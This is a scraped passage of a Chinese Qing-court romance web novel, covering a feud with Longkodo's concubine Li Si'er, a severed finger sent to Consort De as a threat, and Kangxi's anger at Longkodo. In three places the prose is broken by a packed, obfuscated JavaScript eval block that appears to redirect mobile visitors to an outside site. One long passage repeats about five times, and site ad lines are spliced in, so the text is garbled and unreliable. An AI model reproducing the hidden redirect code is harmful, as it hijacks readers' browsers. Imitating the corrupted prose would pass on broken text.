如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 她阴阳怪气提醒道:“福晋口无遮拦,小心祸从口出。” 仪欣抄起茶盏就往李四儿脸上砸,冷声娇纵道:“不会好好说话就滚。” 李四儿身后的小丫鬟急得冷汗直冒,诚惶诚恐开口:“福晋,夫人…携礼拜访…并非有意冒犯。” 李四儿气得发抖,不敢指责仪欣,就指桑骂槐拧小丫鬟的嘴,“你个**,本夫人话没说两句,你倒是摆上谱了!” “夫人饶命。” 晴云上前薅开李四儿,一巴掌甩在她的脸上,警告说:“福晋面前,嘴巴放干净点。” “你个婢子敢打我?”李四儿捂着脸,“我是隆科多的夫人,比赫舍里氏还要得宠,我能以正室身份操办佟老大人葬礼。” 跟着李四儿来的小厮很是圆滑,极力替李四儿遮掩,仪欣翘着脚端着茶盏,听他们一唱一和,跟听戏折子似的。 小厮哈腰道:“福晋,隆科多大人派奴才等给您带了些薄礼,不成敬意,您多担待些。” 四五名小丫鬟端着楠木托盘,名贵的南湖珍珠,碧绿翡翠头面,两颗硕大红宝石嵌在革丝团扇扇柄上…… 这隆科多是费了心思的。 可见是真的想让李四儿结交仪欣的。 小厮圆滑上前介绍每件礼物的精妙之处。 介绍完,俯着身子跪在离仪欣近些的地方,压低声音说:“福晋,我们家老爷只是想让李夫人来您这里讨盏茶喝,这样沾着您的光,回京也能提提身份,您担待。” 仪欣撩起眼皮,慵懒扯唇笑了,“哦?佟佳氏上次拜访,可不是这个态度。” 李四儿绢帕遮着脸,恨恨心道,果然是赫舍里氏她们那些**连累了她。 她收敛些阴毒的神情,想着套近乎,“四福晋,奴…奴才和八福晋关系很好的,听说您和八福晋也有些交情。” 第118章“入夜给永和宫送去” 去你的吧!还敢提姚虞姐姐? 仪欣握着团扇猛猛扇了两下,扬扬下巴示意他们连人带东西一起扔出去。 “出去出去出去,若是隆科多想让他的什么半吊子的夫人在本福晋这里用茶,他就亲自带着登门拜见。仪欣觉得晦气,赶紧指指门口。 好家伙,光是见过两次姚虞,就敢大言不惭借姚虞姐姐的名号跟她套近乎,若是在她的别院用盏茶,岂不是要跟她攀扯上手帕交了吗? 李四儿纵使跋扈,还是记得今日来的目的。 她就是想借雍亲王福晋提提身份,情到浓时,隆科多许诺,若是没有赫舍里氏,她就可以扶正。 只是她出身实在低微,到隆科多身边的手段也不光彩。 雍亲王福晋因为城南做个善事,名声极好,所以纵使隆科多不赞成她来亲近雍亲王福晋,她还是央求着来了。 拉拉扯扯之间,李四儿当然不肯走,她记起隆科多跟她放的大话,甩袖道:“我们家老爷好歹也是王爷的舅舅,改玉牒之事在即,福晋也要顾及些体面。 “况且,雍亲王府跟佟佳府是互利互惠,老爷说,雍亲王也要倚仗他呢。李四儿嚣张跋扈道。 她在隆科多身边十几年,盛宠不衰,她就没受过这么大的气。 若是今日她也在雍亲王别庄灰溜溜走了,她回府怎么压着赫舍里氏管家? 随着李四儿来的小厮是隆科多的近侍随从。他闻言眼前一黑,跪得很瓷实,老爷确实说过这话,但是,这能在雍亲王地盘上道明吗? 仪欣起身便要甩李四儿巴掌,她穿着广袖罗裙,肯定影响发挥,李四儿不是吃亏的主儿,咬牙就要去拉扯仪欣的衣裳。 晴云挡在仪欣身前,想把李四儿扯开,就见李四儿踉跄摔出五步远。 “本王倚仗隆科多?胤禛一身玄色**袍站在门口,淡声问。 傅文错后胤禛半步站着,咬了咬后槽牙轻啧,四爷真是荤素不忌,抬脚踹女人也毫不留力,他刚刚还没来得及差使小厮动手,谁知四爷淡定自若踹上去了。 胤禛前二十几年的世界里是没有女人的,自然也没有怜香惜玉的风流气,他替仪欣整理衣裳,不疼不痒呵斥一句:“又冒冒失失,也不怕吃亏。 仪欣抚掌轻哼:“我若是在她面前吃了亏,干脆不用混了,王爷你也 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 别混了,还有你,大哥,你也是。” 傅文温柔弯唇笑,嗔怪她一句,“一身匪气。” 他的视线移向狼狈倒地的李四儿,神色耐人寻味起来,她刚刚是想撕扯小九的衣裳吧? “王爷,王爷…我们大人的妾室不懂规矩,胡言乱语,大人对王爷一片丹心,不曾有丝毫僭越的念头。”隆科多的小厮顾不得李四儿,爬到胤禛脚边道。 胤禛没有说话,倦怠甩了甩佛珠。 李四儿是被那个她的丫鬟架着离开的。 仪欣向来是有气直接撒,只要没受气,她就能利落翻篇,转而笑意盈盈问傅文午膳想吃什么,傅文明日还要当差,午后便要离开。 傅文笑着点了几个仪欣喜欢吃的菜,仪欣欣然吩咐下去,便由晴云伺候着去正院重新更衣。 胤禛和傅文闲庭信步去前院书房喝茶。 茶香氤氲在书房里,两人气定神闲下棋。 傅文温润的手指落下一颗白子,“佟佳氏前阵子是不是想送个格格到雍亲王府?” “嗯。”胤禛道。 已经解决了。 仪欣多少有些迟钝,胤禛熟练自己砍桃花。 傅文弯唇:“佟佳氏的事,王爷暂且不方便撕破脸,让微臣来试试隆科多大人的深浅吧。” “不必。”胤禛淡声拒绝。 他会亲自把隆科多的骨头敲碎了,再捏起来。 不然这样自视甚高的人,他不喜欢用。 悄声进来一个小太监,呈上来红绸缎捧盒,里面安静躺着一段手指,手指纤细,已经泛着青紫,血淋淋的浸湿红绸缎,好像洒上一些水。 傅文心里膈应,拧眉看着断指,又看向温润如玉的胤禛。 “这是李四儿的手指吗?” 胤禛扫一眼,挑眉点点头,突然温和笑了笑,漫不经心甩了甩佛珠,“入夜给永和宫送去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267103|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 小太监收起来断指,低着头悄无声息退出书房。 傅文张了张口:“?” 这是什么意思?给德妃送截血淋淋的手指干什么?雍亲王面慈心狠,金尊玉贵却是个薄情冷血的。 傅文轻声说:“这种事便不要告诉小九了吧,有什么事,微臣会为王爷肝脑涂地。” 胤 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 禛抬眸看他。 傅文温和浅笑,怀念道:“王爷或许不知道,小九从小就很容易满足,喜欢漂亮衣裳和可口糕点,她一生无忧无虑,锦衣玉食,就极好。” 胤禛啪嗒落子,点了点他的棋局,“傅文,你或许也不知道。” “她体弱多病不是我们剥夺她权力的理由,她可以喜欢漂亮衣裳和可口点心,本王都会给她,但是,她这一生,不能只有漂亮衣裳和可口点心,这不公平。” 胤禛走到书架前,拿出仪欣整理的城南施善的账册,递给傅文,“她很好,很有灵气,她不是纯粹喜爱珠翠罗裙的人,她在做善事时遇到很多困难,点拨过后,她就能做的很好。” “傅文,凭什么你朝堂立业,享受着野心昭昭带来的愉悦感,她不可以吗?” 傅文一愣,接过账册细细翻看,密密麻麻的字是她一笔一划写的。 小九的字写得很漂亮,账册记录的很好,她已经这么厉害了,厉害到不需要他这个兄长。 他好像总是不太能接受小九出嫁,不遗余力护着她,如同幼时那般,故而总是拿对“外人”的态度,提点四爷如何跟小九的相处。 他害怕四爷为权势让小九过早有孕,他担忧四爷贸然离京伤害小九,他忧心小九会接触算计阴司。 小九好难养,长兄如父,他给她端过一碗碗汤药,守着她渡过太多次夭折笼罩的夜晚,但是,他今日才意识到,如今不一样。 傅文眼眶有些红,颇为感性弯了弯狐狸眼,起身一板一眼给胤禛作揖居功,笑道,“最后一次对四爷道谢,多谢妹夫了。” 胤禛戴着佛珠的手扶住傅文,拍了拍他的肩膀。 第119章万岁爷,老四要杀了老十四啊 钟鼓馔玉不足贵,一个**生物愿意分享权力,才是赤裸裸的爱。 只是,胤禛总是把控着分寸,不揠苗助长,也不会顾此失彼,不会不顾及她的身体。 傅文用过午膳便要回京,仪欣撑着油纸伞遮阳,送傅文上马车。 胤禛等在榕树下,没有上前。 胤禛自诩是爱里的强势者,他从前觉得若是爱上一个人,就要钓着那人,不披露自己的情绪,就是要居高临下,慢条斯理把她所有的爱和关注都系于他一身。 现在不是。 她天生就是该拥有所有人的喜爱,他轻轻克制住自己的占有欲,看着她如鱼得水在爱里徜徉。 傅文接过仪欣递来的糕点,弯唇温柔看着她:“小九,哥哥看到你长大,感觉好高兴。” 仪欣闻言红了眼睛,“哥哥,你说这个,我有点想哭。” “哭什么?哥哥看顾你一辈子。”傅文温柔浅笑,想替擦掉骤然滚落的泪珠,却极有分寸地递过去绢帕。 … 入夜,仪欣盘腿坐在美人榻上,聚精会神跟胤禛下棋。 她怎么觉得这么不对劲呢? 看着王爷面前满满当当的银票,仪欣捻了捻指腹,啊啊啊那都是她的银两啊! “好了,输了,掏钱。”胤禛修长的手指勾了勾。 仪欣闷头在荷包里掏钱,一块块碎银和一张张银票放在面前悠然自若的男人的手心里。 胤禛拿起面前一沓银票,漫不经心点了点。 三百零一两。 胤禛给仪欣推过去两块碎银,闲适道:“好了,凑个整,仪欣少给一两银子吧。” 仪欣眼睛亮了亮,还有意外之喜? 她拿过碎银,重新塞回荷包里,抿唇娇憨甜腻温软道,“谢谢王爷。” 胤禛低头闷闷笑,怎么忍得住不欺负她呢? “过来,抱抱。” 胤禛拍了拍他身侧的空地,仪欣狡黠钻过去,亲了亲他的下巴。 “王爷,我问你个事情。”仪欣轻声道。 胤禛拢了拢她的腰肢,低声问:“什么?” “王爷,我听说那个李四儿在府中作威作福,今日一见,名不虚传。你知道个般内情吗?隆科多怎么想 的?” 李四儿何止是作威作福,只是,他暂且不挑明。 胤禛沉吟一会儿,不紧不慢拍着她的小腹,分析道:“略有耳闻,隆科多此人有才干,却也**投机摇摆不定,他后宅之事…大抵是他有毛病。” “怎么突然问这个呢?” 他确实理解不了隆科多后宅什么情况。 也罢,他若是能理解,不就变成隆科多那种宠妾灭妻的畜生了吗? 胤禛亲了亲怀里人的脑瓜。 仪欣忿忿不平道:“不过是突然想起李四儿白日说的话。” 胤禛低头笑问:“可是还生气?” “嗯!”仪欣当即点头,深更半夜,她开始后悔没亲自甩李四儿一巴掌,说什么王爷倚仗隆科多。 胤禛拉着她坐起来,牵着她走到她的小桌案前,勾唇笑:“来,我教你,给皇阿玛写信,就说隆科多的妾室欺负你。” “啊?”仪欣呆愣仰头,“要不你来写吧。” 胤禛站在仪欣身后,双臂搭在她的肩膀上,“不用,我来说,你来写。” “好。” 仪欣觉得很新鲜,仰头期待看着胤禛。 胤禛垂眸想了想,模仿着仪欣的口吻,道,“皇阿玛是不是不喜欢王爷了,怎么什么样的人都能来欺负王爷?” “前阵子佟佳氏府上送来一堆破铜烂铁……今日隆科多打发个妾室…” “皇阿玛若是不为儿臣做主,儿臣自己回富察府找阿玛去了。” 仪欣觉得王爷每句话都说到了她的心坎上,义愤填膺奋笔疾书。 胤禛只草草说了几句,便含笑旁边给她磨墨,任由她自己说她想说的话。 窗外淅淅沥沥下起了雨,凭空而起一道惊雷,胤禛在她的身后顺手掩住她的耳朵,仪欣往身后靠了靠。 “王爷,我根本不害怕了。” “本王记得某人晚上被雷声吵醒,自己蒙在被子里偷偷哭。”胤禛揉了揉她的耳朵,“若不是本王睡眠浅,还不知道身边人哭成了包子。” 那时候刚成亲没多久,她半夜害怕,又想着他要寅时上朝,就自己抹眼泪。 仪欣倚在他身上,轻哼,“我现在胆子变大了。” 胤禛弯唇,捻了捻她的耳垂,见不打雷 了,继续替她磨墨,她写信,总是叽里咕噜很多话,车轱辘似的,一时半会儿说不完。 夏雨落深檐,京城别庄的田地里冒着水泡泡,干燥的地泛起土气。 紫禁城却风雨飘摇。 深更半夜,大雨滂沱,康熙已经歇下了,永和宫的宫女慌乱说德妃突发恶疾,求他去看看。 他早已安寝,雨又大,只说传太医。 过会儿,永和宫的掌事太监说德妃快要不好了,康熙这才深更半夜摆驾永和宫。 德妃没什么不好的样子,就是哭。 康熙面色沉沉坐在软榻上,看着德妃仓惶痛哭。 德妃已经不知道说的什么了,她的枕边,突然出现了老十四的一截手指,是老四,肯定是老四,她明明让万岁爷改玉牒了,他为什么不放过老十四。 “皇上,臣妾想见老十四,皇上,您宣他进宫吧,臣妾现在想见见他。”德妃哭着说。 康熙拧眉,烦躁万千:“明日朕宣他入宫,如今这个时辰,他要入宫是要逼宫吗?” “不…不是,万岁爷,您给老四把玉牒改了吧,别让他祸害臣妾和老十四了,求求你,他会害死老十四的。” 康熙掐着她的脖颈,怒喝道,“**,你在说什么?朕的儿子也是你能诋毁的?!” “没有,没有,万岁爷,老四说要剁了老十四的手指,拆了他的腿,您看,他已经拆了老十四…那里…手指…万岁爷…” 康熙将德妃扫落在地,胸膛起伏不定,“她说什么呢?什么手指?” 只有给德妃守夜的宫女看到了那截断指,如今到处找,都没有。 丫鬟磕磕绊绊说,“回万岁爷,娘娘枕边有一截断指…娘娘说是四爷把十四爷的手指剁下来了,哭着说改玉牒,要见万岁爷。” 梁九功应声问:“断指在哪里?” “没…没有…找不到了…”小丫头一个劲磕头。 了,继续替她磨墨,她写信,总是叽里咕噜很多话,车轱辘似的,一时半会儿说不完。 夏雨落深檐,京城别庄的田地里冒着水泡泡,干燥的地泛起土气。 紫禁城却风雨飘摇。 深更半夜,大雨滂沱,康熙已经歇下了,永和宫的宫女慌乱说德妃突发恶疾,求他去看看。 他早已安寝,雨又大,只说传太医。 过会儿,永和宫的掌事太监说德妃快要不好了,康熙这才深更半夜摆驾永和宫。 德妃没什么不好的样子,就是哭。 康熙面色沉沉坐在软榻上,看着德妃仓惶痛哭。 德妃已经不知道说的什么了,她的枕边,突然出现了老十四的一截手指,是老四,肯定是老四,她明明让万岁爷改玉牒了,他为什么不放过老十四。 “皇上,臣妾想见老十四,皇上,您宣他进宫吧,臣妾现在想见见他。”德妃哭着说。 康熙拧眉,烦躁万千:“明日朕宣他入宫,如今这个时辰,他要入宫是要逼宫吗?” “不…不是,万岁爷,您给老四把玉牒改了吧,别让他祸害臣妾和老十四了,求求你,他会害死老十四的。” 康熙掐着她的脖颈,怒喝道,“**,你在说什么?朕的儿子也是你能诋毁的?!” “没有,没有,万岁爷,老四说要剁了老十四的手指,拆了他的腿,您看,他已经拆了老十四…那里…手指…万岁爷…” 康熙将德妃扫落在地,胸膛起伏不定,“她说什么呢?什么手指?” 只有给德妃守夜的宫女看到了那截断指,如今到处找,都没有。 丫鬟磕磕绊绊说,“回万岁爷,娘娘枕边有一截断指…娘娘说是四爷把十四爷的手指剁下来了,哭着说改玉牒,要见万岁爷。” 梁九功应声问:“断指在哪里?” “没…没有…找不到了…”小丫头一个劲磕头。 了,继续替她磨墨,她写信,总是叽里咕噜很多话,车轱辘似的,一时半会儿说不完。 夏雨落深檐,京城别庄的田地里冒着水泡泡,干燥的地泛起土气。 紫禁城却风雨飘摇。 深更半夜,大雨滂沱,康熙已经歇下了,永和宫的宫女慌乱说德妃突发恶疾,求他去看看。 他早已安寝,雨又大,只说传太医。 过会儿,永和宫的掌事太监说德妃快要不好了,康熙这才深更半夜摆驾永和宫。 德妃没什么不好的样子,就是哭。 康熙面色沉沉坐在软榻上,看着德妃仓惶痛哭。 德妃已经不知道说的什么了,她的枕边,突然出现了老十四的一截手指,是老四,肯定是老四,她明明让万岁爷改玉牒了,他为什么不放过老十四。 “皇上,臣妾想见老十四,皇上,您宣他进宫吧,臣妾现在想见见他。”德妃哭着说。 康熙拧眉,烦躁万千:“明日朕宣他入宫,如今这个时辰,他要入宫是要逼宫吗?” “不…不是,万岁爷,您给老四把玉牒改了吧,别让他祸害臣妾和老十四了,求求你,他会害死老十四的。” 康熙掐着她的脖颈,怒喝道,“**,你在说什么?朕的儿子也是你能诋毁的?!” “没有,没有,万岁爷,老四说要剁了老十四的手指,拆了他的腿,您看,他已经拆了老十四…那里…手指…万岁爷…” 康熙将德妃扫落在地,胸膛起伏不定,“她说什么呢?什么手指?” 只有给德妃守夜的宫女看到了那截断指,如今到处找,都没有。 丫鬟磕磕绊绊说,“回万岁爷,娘娘枕边有一截断指…娘娘说是四爷把十四爷的手指剁下来了,哭着说改玉牒,要见万岁爷。” 梁九功应声问:“断指在哪里?” “没…没有…找不到了…”小丫头一个劲磕头。 了,继续替她磨墨,她写信,总是叽里咕噜很多话,车轱辘似的,一时半会儿说不完。 夏雨落深檐,京城别庄的田地里冒着水泡泡,干燥的地泛起土气。 紫禁城却风雨飘摇。 深更半夜,大雨滂沱,康熙已经歇下了,永和宫的宫女慌乱说德妃突发恶疾,求他去看看。 他早已安寝,雨又大,只说传太医。 过会儿,永和宫的掌事太监说德妃快要不好了,康熙这才深更半夜摆驾永和宫。 德妃没什么不好的样子,就是哭。 康熙面色沉沉坐在软榻上,看着德妃仓惶痛哭。 德妃已经不知道说的什么了,她的枕边,突然出现了老十四的一截手指,是老四,肯定是老四,她明明让万岁爷改玉牒了,他为什么不放过老十四。 “皇上,臣妾想见老十四,皇上,您宣他进宫吧,臣妾现在想见见他。”德妃哭着说。 康熙拧眉,烦躁万千:“明日朕宣他入宫,如今这个时辰,他要入宫是要逼宫吗?” “不…不是,万岁爷,您给老四把玉牒改了吧,别让他祸害臣妾和老十四了,求求你,他会害死老十四的。” 康熙掐着她的脖颈,怒喝道,“**,你在说什么?朕的儿子也是你能诋毁的?!” “没有,没有,万岁爷,老四说要剁了老十四的手指,拆了他的腿,您看,他已经拆了老十四…那里…手指…万岁爷…” 康熙将德妃扫落在地,胸膛起伏不定,“她说什么呢?什么手指?” 只有给德妃守夜的宫女看到了那截断指,如今到处找,都没有。 丫鬟磕磕绊绊说,“回万岁爷,娘娘枕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16267104|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边有一截断指…娘娘说是四爷把十四爷的手指剁下来了,哭着说改玉牒,要见万岁爷。” 梁九功应声问:“断指在哪里?” “没…没有…找不到了…”小丫头一个劲磕头。 了,继续替她磨墨,她写信,总是叽里咕噜很多话,车轱辘似的,一时半会儿说不完。 夏雨落深檐,京城别庄的田地里冒着水泡泡,干燥的地泛起土气。 紫禁城却风雨飘摇。 深更半夜,大雨滂沱,康熙已经歇下了,永和宫的宫女慌乱说德妃突发恶疾,求他去看看。 他早已安寝,雨又大,只说传太医。 过会儿,永和宫的掌事太监说德妃快要不好了,康熙这才深更半夜摆驾永和宫。 德妃没什么不好的样子,就是哭。 康熙面色沉沉坐在软榻上,看着德妃仓惶痛哭。 德妃已经不知道说的什么了,她的枕边,突然出现了老十四的一截手指,是老四,肯定是老四,她明明让万岁爷改玉牒了,他为什么不放过老十四。 “皇上,臣妾想见老十四,皇上,您宣他进宫吧,臣妾现在想见见他。”德妃哭着说。 康熙拧眉,烦躁万千:“明日朕宣他入宫,如今这个时辰,他要入宫是要逼宫吗?” “不…不是,万岁爷,您给老四把玉牒改了吧,别让他祸害臣妾和老十四了,求求你,他会害死老十四的。” 康熙掐着她的脖颈,怒喝道,“**,你在说什么?朕的儿子也是你能诋毁的?!” “没有,没有,万岁爷,老四说要剁了老十四的手指,拆了他的腿,您看,他已经拆了老十四…那里…手指…万岁爷…” 康熙将德妃扫落在地,胸膛起伏不定,“她说什么呢?什么手指?” 只有给德妃守夜的宫女看到了那截断指,如今到处找,都没有。 丫鬟磕磕绊绊说,“回万岁爷,娘娘枕边有一截断指…娘娘说是四爷把十四爷的手指剁下来了,哭着说改玉牒,要见万岁爷。” 梁九功应声问:“断指在哪里?” “没…没有…找不到了…”小丫头一个劲磕头。 了,继续替她磨墨,她写信,总是叽里咕噜很多话,车轱辘似的,一时半会儿说不完。 夏雨落深檐,京城别庄的田地里冒着水泡泡,干燥的地泛起土气。 紫禁城却风雨飘摇。 深更半夜,大雨滂沱,康熙已经歇下了,永和宫的宫女慌乱说德妃突发恶疾,求他去看看。 他早已安寝,雨又大,只说传太医。 过会儿,永和宫的掌事太监说德妃快要不好了,康熙这才深更半夜摆驾永和宫。 德妃没什么不好的样子,就是哭。 康熙面色沉沉坐在软榻上,看着德妃仓惶痛哭。 德妃已经不知道说的什么了,她的枕边,突然出现了老十四的一截手指,是老四,肯定是老四,她明明让万岁爷改玉牒了,他为什么不放过老十四。 “皇上,臣妾想见老十四,皇上,您宣他进宫吧,臣妾现在想见见他。”德妃哭着说。 康熙拧眉,烦躁万千:“明日朕宣他入宫,如今这个时辰,他要入宫是要逼宫吗?” “不…不是,万岁爷,您给老四把玉牒改了吧,别让他祸害臣妾和老十四了,求求你,他会害死老十四的。” 康熙掐着她的脖颈,怒喝道,“**,你在说什么?朕的儿子也是你能诋毁的?!” “没有,没有,万岁爷,老四说要剁了老十四的手指,拆了他的腿,您看,他已经拆了老十四…那里…手指…万岁爷…” 康熙将德妃扫落在地,胸膛起伏不定,“她说什么呢?什么手指?” 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德妃深深战栗,感觉神情有些恍惚,听到小宫女说没有断指,在寝殿内到处翻找。 康熙耳边全然是哭声,还有德妃絮絮叨叨“改玉牒”“不要老四”“断指”的声音,心中烦躁万分,不由得可怜远在别庄的胤禛。 太医诊断后,只道德妃惊惧过度,许是梦魇所致。 康熙派人询问盘查永和宫宫女太监,德妃口中的任何事情都不曾有人见过。 果然是做贼心虚!空口白牙污蔑胤禛! 今夜的雨格外烈,似乎有些冬日的朔风,锲而不舍刮着雨,打在琉璃瓦和红墙上,红墙阴湿了雨水,像是滴血后的红绸,德妃尖叫一声,萎靡昏倒过去。 “封了永和宫。” 康熙大步离开。 近些时日实在糟心,太子**,无端怀疑他要铲除异己;德妃疯魔,做出这些不体面的荒唐事;还有胤禛…… “老四说什么时候回来了吗?”康熙满不在意,掌心伸出,捻了捻雨水,倚在御辇上随口问。 梁九功哈腰苦笑:“王爷依旧是…抱恙。” “抱恙?又是抱恙,他装模作样跟朕闹脾气,耍小性子,到底还要别扭多久?” 梁九功笑着夸赞王爷最是纯孝,心思恪纯温和,试探着说:“王爷怕是真的受委屈了。” “朕何尝不知道他的委屈?难不成要朕这做君父的,伏低做小给他道歉不成?这个混账东西,躲到别庄种田,不理政事,实在不像个样子!” 康熙又冷哼一句:“他要什么,朕补给他就是了,何至于此?” 梁九功抹一把脸上的雨水,跟着御辇小步匆匆,天家父子闹别扭,他怎么能劝说。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 万岁爷就是嘴硬心软心里想四爷想的不行隔三差五便要问上一次。 若是他说四爷确实委屈德妃娘娘那般做派他都觉得荒唐若是旁人有个大权在握亲王承欢膝下不知有多珍爱。 万岁爷又出尔反尔还想让四爷替十四爷扫除障碍四爷此番也不算过分。 “给他送一万两银票让他赶紧滚回来当差。”康熙握着御辇扶手冷哼道。 “哎!万岁爷还是疼爱王爷的想必王爷也是万分惦念万岁爷。”梁九功大喜赶紧奉承。 他比万岁爷更想让王爷回来没有四爷的日子乾清宫哪里是能当差的地方! * 次日朝堂上。 隆科多启禀奏请雍亲王改玉牒记作孝懿皇后名下。 昨日李四儿断指回府隆科多便知这是雍亲王的警告听小厮回禀始末他顾不上旁的只想赶紧将雍亲王绑到佟佳氏的船上这才草率提起改玉牒之事。 此事引起轩然大波首先反对的便是太子**富察氏作壁上观 乾清宫书房。 康熙正欣然琢磨着何时颁布改玉牒的圣旨。 今晨见到的老十四自然是全须全尾的德妃真是病了便在永和宫禁足吧。 隆科多的提议也算是正中他的下怀总算是给他个台阶康熙不想管太子怎么想总归胤禛这个玉牒他是要改的。 康熙骤然想起孝懿皇后若是胤禛真的是他和孝懿的孩子便好了他咂摸一会儿胤禛性情温和做事又颇有章法跟孝懿还是极其相似的。 此时梁九功高兴笑着匆匆走进来“哎呦万岁爷四爷给您来信了怕是问万岁爷安呢!” “银两还没送过去吧?”康熙别扭问。 “哪能啊这信怕是昨夜写的四爷跟万岁爷就是心有灵犀罢了。”梁九功笑着说将书信呈上去。 康熙捏了捏厚厚一摞书信心里舒缓慢条斯理拆开信封笑骂一句“你个老货肚子里没几两墨水就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281229|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不要乱用词。” 什么心有灵犀? “哎呦奴才这个嘴呦!” 梁九功给康熙烹茶余光忍不住观察康熙的神情心里也高兴他们这种阉人不就是揣摩主子心意过活的吗? 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 似乎有哪里不太对劲? 万岁爷怎么面色难堪至此? “放肆放肆!宣隆科多!让他给朕滚过来!”康熙猛拍桌案。 德妃,隆科多,一个两个都要作贱他的儿子!放肆! 康熙怒火中烧,他原本以为佟佳氏是个好的,胤禛尚未改玉牒,隆科多便想着吸胤禛的血,竟是拿富察氏给他的贱妾提身份! 胤禛实在可怜。 康熙一页页翻着信纸,仪欣的字颇有胤禛幼时的神韵,似是孩童胤禛委屈巴巴诉苦,加之仪欣纯粹的真性情,他越翻越是气血上涌,恨不能宰了隆科多,送隆科多去见孝懿皇后。 佟佳氏?不识抬举。 他最缺皇后,却又最不缺皇后。 没有孝懿皇后佟佳氏,还有孝昭皇后钮祜禄氏,再不济…还有元后赫舍里氏。 他的儿子,不管给谁,谁都要捧着。 “再给胤禛多送些银两,孝昭皇后是老四媳妇富察氏的姨母吧?”康熙眸色漆黑,冷不丁看向梁九功,“把朕私库里,孝昭生前珍爱的白玉璎珞项圈,给富察氏送过去。” 梁九功恭敬低头,惶然瞪大眼睛,这…这…这是怎么回事?怎么又扯到了孝昭皇后? 他微微瞥一眼书信,太恰到好处了。 若不是昨夜德妃娘娘惹那一通,今日这封信不会让万岁爷如此勃然大怒。 … 夏日京城多雨。 仪欣从前不喜欢下雨,她不喜欢湿漉漉的环境,她身体会不舒服,手脚冰凉,像是受潮的枯木。 如今,却格外不同。 下雨了,她就不用跟王爷到田间地头晒着了! 善哉! 仪欣此时美滋滋窝在胤禛怀里,他的胸膛很温暖,温热干燥的手随意护在她的后腰,隔绝潮湿的雨水气。 第121章佟佳氏之祸 胤禛轻轻扫一眼意料之中的孝昭皇后遗物,专心看仪欣哗啦哗啦数银票。 三万两,比他猜测的要多一点。 他可以顺着银票数量揣摩到康熙的心意。 胤禛低头闷闷笑,想跟仪欣分享他做的坏事,又怕吓到她,黑灯瞎火,半截断指,永和宫觉得是谁的,那就是谁的,等咂摸过味来,也解释不清了。 握月担风且留后日,吞花卧酒不可过时。 胤禛陪着仪欣岁月静好,还没有忘记关怀隆科多,将其****的账册呈给康熙,雷厉风行**隆科多欺男霸女,宠妾灭妻,连李四儿都提到了。 隆科多当日被康熙劈头盖脸一顿斥骂,以为事情过去了,谁知这才没几日,朝堂上**他的折子满天飞。 康熙顺理成章将隆科多革职在家,连同隆科多一派的官员砍得七零八落。 朝堂上发生的事,平民百姓纵使听得到一点风声,也是不在意的,当官的是谁,他们也得正常吃饭。 可是,市井八卦却不同。 “你听说了吗?隆科多大人,他的小妾把正妻关在柴房里,两日不曾给过一粒米。” “真的,听闻人被发现的时候,奄奄一息,浑身糟污,折磨得不成人样了。” “什么?畜牲啊!畜牲啊!赫舍里氏可是有嫡子的正妻啊,况且,隆科多和赫舍里氏还是亲表兄妹。” “蛇鼠一窝,佟佳氏府上是何等的龙潭虎穴?” “……” “………” 朝政**在朝堂之上,隆科多的私事流传在市井之间。 最近这段时日,凡是京城有水井的地方,都会有议论隆科多私事的声音。 市井百姓看不上这种做派,旗人格格更是唇亡齿寒,拧成一股绳,赫舍里氏的今天,可能就是她们的明天啊。 赫舍里氏,那是满洲上三旗大姓的格格啊,这种女子性格再庸懦,那也不是隆科多任由小妾磋磨她的理由。 换句话说,一个女子,不管性情如何,不管力量如何,都不是男人挥拳打骂的借口。 若是有气节的家族,这几日纷纷盘算着将自家在佟佳氏的姑奶奶接回府中,纵使未提和离休妻之事,佟佳氏的姻亲骤然断了不少联系。 茶余饭后的谈资是一股巨大的 力量。 李四儿没想到会是这样。 她目光呆滞坐在内室,回想那日,八福晋罕见想来府上用茶,不知怎么便喝上了酒,她们相谈甚欢。 八福晋提起她磋磨八贝勒小妾的事,她一时得意忘形,带八福晋去观摩赫舍里氏惨状,谁知,八福晋当场变了脸色,甩了她一巴掌。 后面赫舍里氏被八福晋带走,佟佳府当日被封了。 怎么会这样? … 京城年氏别院。 胤禛买下送给仪欣后,仪欣改名向荣院。 仪欣沉默给赫舍里氏端过汤药,赫舍里氏颤抖一下,温婉笑笑,想接过汤药,却发现手惨白,抖得厉害。 晴云:“奴婢喂您。” 